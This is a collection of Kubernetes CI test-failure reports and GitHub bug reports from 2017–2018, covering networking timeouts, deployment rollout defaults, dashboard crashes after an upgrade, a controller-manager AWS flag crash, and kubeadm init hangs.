 k8s.io  networking should check kube-proxy urls {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:84 expected error:     < errors.errorstring | 0xc420416ec0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  32436  37267   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:45 expected error:     < errors.errorstring | 0xc420376260>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  32830   failed:  k8s.io  configmap updates should be reflected in volume  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:156 timed out after 300.001s. expected     <string>: content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1     content of file \ /etc/configmap-volume/data-1\ : value-1      to contain substring     <string>: value-2 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:155       failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:59 expected error:     < errors.errorstring | 0xc42043eb10>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  35283  36867   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:38 expected error:     < errors.errorstring | 0xc420445910>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  32375   failed:  k8s.io  disruptioncontroller evictions: too few pods, replicaset, percentage => should not allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 mar 16 00:25:21.475: couldn't delete ns: \ e2e-tests-disruption-8tmbv\ : namespace e2e-tests-disruption-8tmbv was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-disruption-8tmbv was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:270     issues about this test specifically:  32668  35405   failed:  k8s.io  dns should provide dns for services  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:411 expected error:     < errors.errorstring | 0xc420444520>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:247     issues about this test specifically:  26168  27450  43094  previous issues for this suite:  37891  42334

failure cluster  c1aa76ec7c67c92366fc  https://go.k8s.io/triage c1aa76ec7c67c92366fc        error text:     exit status 1           failure cluster statistics: 3 tests failed,    16 jobs failed,    76 builds failed. failure stats cover 1 day time range '14 may 2017 20:07 utc' to '15 may 2017 20:07 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 15 | | helm lint spinnaker | 1 | | helm lint kube-lego | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-ubuntu-gke-1-6 | 11 |  15 may 2017 16:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke-1-6/555  | | ci-kubernetes-charts-gce | 9 |  15 may 2017 16:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-charts-gce/3048  | | ci-kubernetes-e2e-gce-ubuntu-1-6 | 8 |  15 may 2017 19:03 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntu-1-6/915  |   current status  https://go.k8s.io/triage c1aa76ec7c67c92366fc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r   change request  \r \r   kubernetes version    use  kubectl version  :\r client version: v1.6.4\r server version: v1.6.2\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : n/a\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2 lts\r -   kernel    e.g.  uname -a  : linux 4.8.0-52-generic 55~16.04.1-ubuntu\r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :\r default values for number of replicas and maxunavailable causes deployments to report as successful rolled out when no pods are available.\r \r   what you expected to happen  :\r expected saner defaults that would not report the deployment as successful rolled out when no replicas are available.\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: review-test-master\r spec:\r   template:\r     spec:\r       containers:\r       - name: somename\r         image: $ci_registry_image\r         imagepullpolicy: always\r         ports:\r         - containerport: 8080\r       imagepullsecrets:\r         - name: $ci_registry\r    \r make this fail by, e.g., specifying some private registry with wrong credentials. deployment will be successful\r \r    \r $ kubectl rollout status deployment/review-test-master --namespace ci\r deployment \ review-test-master\  successfully rolled out\r    \r although nothing is available:\r    \r $ kubectl get deploy/review-test-master --namespace ci \r name                 desired   current   up-to-date   available   age\r review-test-master   1         1         1            0           9m\r    \r   anything else we need to know  :\r this is caused by the fact that by default replicas is set to 1 while maxunavailable is also set to 1 allowing deployments without any running pods to report as successful when default settings are used.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r there is a security hole when using the host nodeport mode service:\r \r 1  create a service and use nodeport.\r 2  after the service created, normal user will get the host ip address and one nodeport which in 31000 - 32000\r 3  normal user can use tool to access this node ip with other port which in 31000 - 32000 as well, it is not safe.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r two of the 3 dashboard pods went into a crash loop after upgrading from 1.6.4 to 1.7.7 k8s. \r    \r kube-system       kubernetes-dashboard-1019589711-4tv6s                                 0/1       crashloopbackoff   15         55m\r kube-system       kubernetes-dashboard-1019589711-9xqmn                                 0/1       crashloopbackoff   15         55m\r kube-system       kubernetes-dashboard-1019589711-d6j8z                                 1/1       running            0          56m\r    \r \r   what you expected to happen  :\r all 3 should be in \ running\  status\r \r   how to reproduce it  as minimally and precisely as possible   :\r upgrade a cluster from 1.6.4 to 1.7.7\r \r   anything else we need to know?  :\r the log for the  failing  dashboard pod is:\r    \r using http port: 9090\r creating api server client for https://10.233.0.1:443\r error while initializing connection to kubernetes apiserver. this most likely means that the cluster is misconfigured  e.g., it has invalid apiserver certificates or service accounts configuration  or the --apiserver-host param points to a server that does not exist. reason: the server has asked for the client to provide credentials  get .meta.k8s.io \r refer to the troubleshooting guide for more information: https://github.com/kubernetes/dashboard/blob/master/docs/user-guide/troubleshooting.md\r    \r \r this is the log for the  one  working dashboard pod:\r    \r using http port: 9090\r creating api server client for https://10.233.0.1:443\r successful initial request to the apiserver, version: v1.7.7+coreos.0\r creating in-cluster heapster client\r using service account token for csrf signing\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r 2017-10-07 20:14:43.387235 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-10-07 20:14:43.387293 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-10-07 20:14:43.387334 i | proto: duplicate proto type registered: google.protobuf.timestamp\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7+coreos.0\ , gitcommit:\ 2aa47c8ec16177de41d4c8cad63c1ba0b7bd6d78\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t22:25:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7+coreos.0\ , gitcommit:\ 2aa47c8ec16177de41d4c8cad63c1ba0b7bd6d78\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t22:25:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r aws\r - os  e.g. from /etc/os-release :\r    \r  cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1465.7.0\r version_id=1465.7.0\r build_id=2017-09-05-2043\r pretty_name=\ container linux by coreos 1465.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux ip-10-223-11-140.ds.dtveng.net 4.12.10-coreos  1 smp tue sep 5 20:29:13 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux\r    \r - install tools:\r kubespray \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r upgrade to v1.7.8 causes duplicate fluentd-gcp daemonsets on gke\r    \r $ kubectl -n kube-system get ds\r name                       desired   current   ready     up-to-date   available   node selector                                             age\r calico-node                0         0         0         0            0           projectcalico.org/ds-ready=true                           30d\r fluentd-gcp-v2.0           183       183       116       183          116         beta.kubernetes.io/fluentd-ds-ready=true                  200d\r fluentd-gcp-v2.0.9         183       133       40        133          40          beta.kubernetes.io/fluentd-ds-ready=true                  1d\r    \r \r   what you expected to happen  :\r \r there should be only one fluentd-gcp daemonset.\r \r   how to reproduce it  as minimally and precisely as possible   :\r upgrade any pre-v1.7.8 cluster on gke to v1.7.8\r \r   anything else we need to know?  :\r \r seems to be related to https://github.com/kubernetes/kubernetes/pull/52565\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.8-gke.0\ , gitcommit:\ a7061d4b09b53ab4099e3b5ca3e80fb172e1b018\ , gittreestate:\ clean\ , builddate:\ 2017-10-10t18:48:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools: gke\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r there is a  +build  windows tag in  pkg/proxy/winkernel/proxier_test.go , it means the uts will not run in upstream ci. plus, the ut codes in  pkg/proxy/winkernel/proxier_test.go  is not for winkernel proxier, instead they are for iptables proxier!\r \r   what you expected to happen  :\r \r we should remove the dead code in winkernel proxy ut and then create the winkernel-specific uts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /area kube-proxy\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r --cloud-provider=aws in /etc/kubernetes/manifests/kube-controller-manager.yaml makes it fail to start with crashloopbackoff.\r \r     kube-controller-manager.yaml \r \r     kind: pod\r     metadata:\r       name: kube-controller-manager\r       namespace: kube-system\r     spec:\r       containers:\r       - command:\r         - kube-controller-manager\r         - --leader-elect=true\r         - --use-service-account-credentials=true\r         - --controllers= ,bootstrapsigner,tokencleaner\r         - --root-ca-file=/etc/kubernetes/pki/ca.crt\r         - --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt\r         - --cluster-signing-key-file=/etc/kubernetes/pki/ca.key\r         - --address=127.0.0.1\r         - --kubeconfig=/etc/kubernetes/controller-manager.conf\r         - --service-account-private-key-file=/etc/kubernetes/pki/sa.key\r         - --allocate-node-cidrs=true\r         - --cluster-cidr=10.244.0.0/16\r         - --node-cidr-mask-size=24\r         - --cloud-provider=aws     <-----  without this line, no issue \r \r     pod state\r \r     namespace     name                                                                 ready     status             restarts   age\r     kube-system   kube-controller-manager-ip-172-31-4-117.us-west-1.compute.internal   0/1       crashloopbackoff   2          34s\r \r     kubelet journalctl output\r \r     dec 31 07:13:58 ip-172-31-4-117.us-west-1.compute.internal kubelet 2055 : i1231 07:13:58.985855    2055 kuberuntime_manager.go:514  container {name:kube-controller-manager image:gcr.io/google_containers/kube-controller-manager-amd64:v1.9.0 command: kube-controller-manager --leader-elect=true --use-service-account-credentials=true --controllers= ,bootstrapsigner,tokencleaner --root-ca-file=/etc/kubernetes/pki/ca.crt --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt --cluster-signing-key-file=/etc/kubernetes/pki/ca.key --address=127.0.0.1 --kubeconfig=/etc/kubernetes/controller-manager.conf --service-account-private-key-file=/etc/kubernetes/pki/sa.key --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16 --node-cidr-mask-size=24 --cloud-provider=aws  args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map cpu:{i:{value:200 scale:-3} d:{dec:<nil>} s:200m format:decimalsi} } volumemounts: {name:ca-certs readonly:true mountpath:/etc/ssl/certs subpath: mountpropagation:<nil>} {name:kubeconfig readonly:true mountpath:/etc/kubernetes/controller-manager.conf subpath: mountpropagation:<nil>} {name:flexvolume-dir readonly:false mountpath:/usr/libexec/kubernetes/kubelet-plugins/volume/exec subpath: mountpropagation:<nil>} {name:ca-certs-etc-pki readonly:true mountpath:/etc/pki subpath: mountpropagation:<nil>} {name:k8s-certs readonly:true mountpath:/etc/kubernetes/pki subpath: mountpropagation:<nil>}  volumedevices:   livenessprobe:&probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/healthz,port:10252,host:127.0.0.1,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:15,periodseconds:10,successthreshold:1,failurethreshold:8,} readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r     dec 31 07:13:58 ip-172-31-4-117.us-west-1.compute.internal kubelet 2055 : i1231 07:13:58.985954    2055 kuberuntime_manager.go:758  checking backoff for container \ kube-controller-manager\  in pod \ kube-controller-manager-ip-172-31-4-117.us-west-1.compute.internal_kube-system 9b9fc44cf056d9e6af795cbe507c7e4f \ \r     dec 31 07:13:58 ip-172-31-4-117.us-west-1.compute.internal kubelet 2055 : i1231 07:13:58.986076    2055 kuberuntime_manager.go:768  back-off 10s restarting failed container=kube-controller-manager pod=kube-controller-manager-ip-172-31-4-117.us-west-1.compute.internal_kube-system 9b9fc44cf056d9e6af795cbe507c7e4f \r     dec 31 07:13:58 ip-172-31-4-117.us-west-1.compute.internal kubelet 2055 : e1231 07:13:58.986105    2055 pod_workers.go:186  error syncing pod 9b9fc44cf056d9e6af795cbe507c7e4f  \ kube-controller-manager-ip-172-31-4-117.us-west-1.compute.internal_kube-system 9b9fc44cf056d9e6af795cbe507c7e4f \  , skipping: failed to \ startcontainer\  for \ kube-controller-manager\  with crashloopbackoff: \ back-off 10s restarting failed container=kube-controller-manager pod=kube-controller-manager-ip-172-31-4-117.us-west-1.compute.internal_kube-system 9b9fc44cf056d9e6af795cbe507c7e4f \ \r \r   what you expected to happen  :\r \r as per https://kubernetes.io/docs/reference/generated/kube-controller-manager documentation, --cloud-provider=aws can be specified and the controller starts.\r \r the reason to specify it was because the controller was complaining as below.\r \r     $journalctl -b -f container_id=$ docker ps | grep k8s_kube-controller-manager | awk '{ print $1 }' \r     dec 31 04:54:47 ip-172-31-4-117.us-west-1.compute.internal dockerd-current 1136 : e1231 04:54:47.447916       1 reconciler.go:292  attacherdetacher.attachvolume failed to start for volume \ pv-ebs\   uniquename: \ kubernetes.io/aws-ebs/vol-0d275986ce24f4304\   from node \ ip-172-31-4-61.us-west-1.compute.internal\  : attachvolume.newattacher failed for volume \ pv-ebs\   uniquename: \ kubernetes.io/aws-ebs/vol-0d275986ce24f4304\   from node \ ip-172-31-4-61.us-west-1.compute.internal\  : failed to get aws cloud provider. getcloudprovider returned <nil> instead\r \r   how to reproduce it  as minimally and precisely as possible   :\r add the line as a command parameter in /etc/kubernetes/manifests/kube-controller-manager.yaml.\r \r         - --cloud-provider=aws\r \r   anything else we need to know?  :\r \r not being able to specify --cloud-provider could potentially causing the issue of  k8s unable to mount aws ebs as a persistent volume for pod\r   https://stackoverflow.com/questions/48039953 .\r \r \r /etc/systemd/system/kubelet.service.d/10-kubeadm.conf has \ -cloud-provider=aws\ .\r \r      service \r     environment=\ kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf\ \r     environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r     environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r     environment=\ kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\ \r     environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r     environment=\ kubelet_cadvisor_args=--cadvisor-port=0\ \r     environment=\ kubelet_cgroup_args=--cgroup-driver=systemd --runtime-cgroups=/systemd/system.slice --kubelet-cgroups=/systemd/system.slice\ \r     environment=\ kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\ \r     environment=\ kubelet_extra_args=--cloud-provider=aws\ \r     execstart=\r     execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_cadvisor_args $kubelet_cgroup_args $kubelet_certificate_args $kubelet_extra_args\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r     $ kubectl version -o json\r     {\r       \ clientversion\ : {\r         \ major\ : \ 1\ ,\r         \ minor\ : \ 9\ ,\r         \ gitversion\ : \ v1.9.0\ ,\r         \ gitcommit\ : \ 925c127ec6b946659ad0fd596fa959be43f0cc05\ ,\r         \ gittreestate\ : \ clean\ ,\r         \ builddate\ : \ 2017-12-15t21:07:38z\ ,\r         \ goversion\ : \ go1.9.2\ ,\r         \ compiler\ : \ gc\ ,\r         \ platform\ : \ linux/amd64\ \r       },\r       \ serverversion\ : {\r         \ major\ : \ 1\ ,\r         \ minor\ : \ 9\ ,\r         \ gitversion\ : \ v1.9.0\ ,\r         \ gitcommit\ : \ 925c127ec6b946659ad0fd596fa959be43f0cc05\ ,\r         \ gittreestate\ : \ clean\ ,\r         \ builddate\ : \ 2017-12-15t20:55:30z\ ,\r         \ goversion\ : \ go1.9.2\ ,\r         \ compiler\ : \ gc\ ,\r         \ platform\ : \ linux/amd64\ \r       }\r     }\r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r \r     $ cat /etc/centos-release\r     centos linux release 7.4.1708  core  \r \r - kernel  e.g.  uname -a  :\r \r linux ip-172-31-4-117.us-west-1.compute.internal 3.10.0-693.11.1.el7.x86_64  1 smp mon dec 4 23:52:40 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r kubeadm and ansible\r \r - others:\r \r unless using the aws cloud provider feature, pods are working.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign @gnufied \r \r \r   what happened  :\r https://k8s-testgrid.appspot.com/sig-storage gke-serial\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_metrics.go:239\r error getting c-m metricvalues: master's kubelet is not registered. skipping controllermanager's metrics gathering.\r expected error:\r     < errors.errorstring | 0xc421b9e990>: {\r         s: \ master's kubelet is not registered. skipping controllermanager's metrics gathering.\ ,\r     }\r     master's kubelet is not registered. skipping controllermanager's metrics gathering.\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_metrics.go:245\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  \r   what happened  :\r kubeadm init hangs at:\r \r  init  using kubernetes version: v1.9.4\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r \t warning fileexisting-crictl : crictl not found in system path\r  preflight  starting the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  master kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 192.168.56.60 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r ...\r \r \r   what you expected to happen  :\r cluster initialized. --> kubernetes master inilized\r \r   how to reproduce it  as minimally and precisely as possible   :\r install docker\r install kubeadm, kubelet, kubectl\r use kubeadm init command\r \r   anything else we need to know?  :\r since yesterday when initializing a cluster it automatically used kubernetes version: v1.9.4.\r i tried forcing kubeadm to use --kubernetes-version=v1.9.3 but i still have the same issue.\r last week it was fine when i reset my kubernetes cluster and reinitialize it again.\r i found the issue yesterday when i wanted to reset my cluster again and reinitialize it and it got stuck.\r \r i tried yum update, to update all my software, but still the same issue\r i used kubernetes v1.9.3 and after updating today... i'm using kubernetes v1.9.4\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:29:47z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux master 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm\r

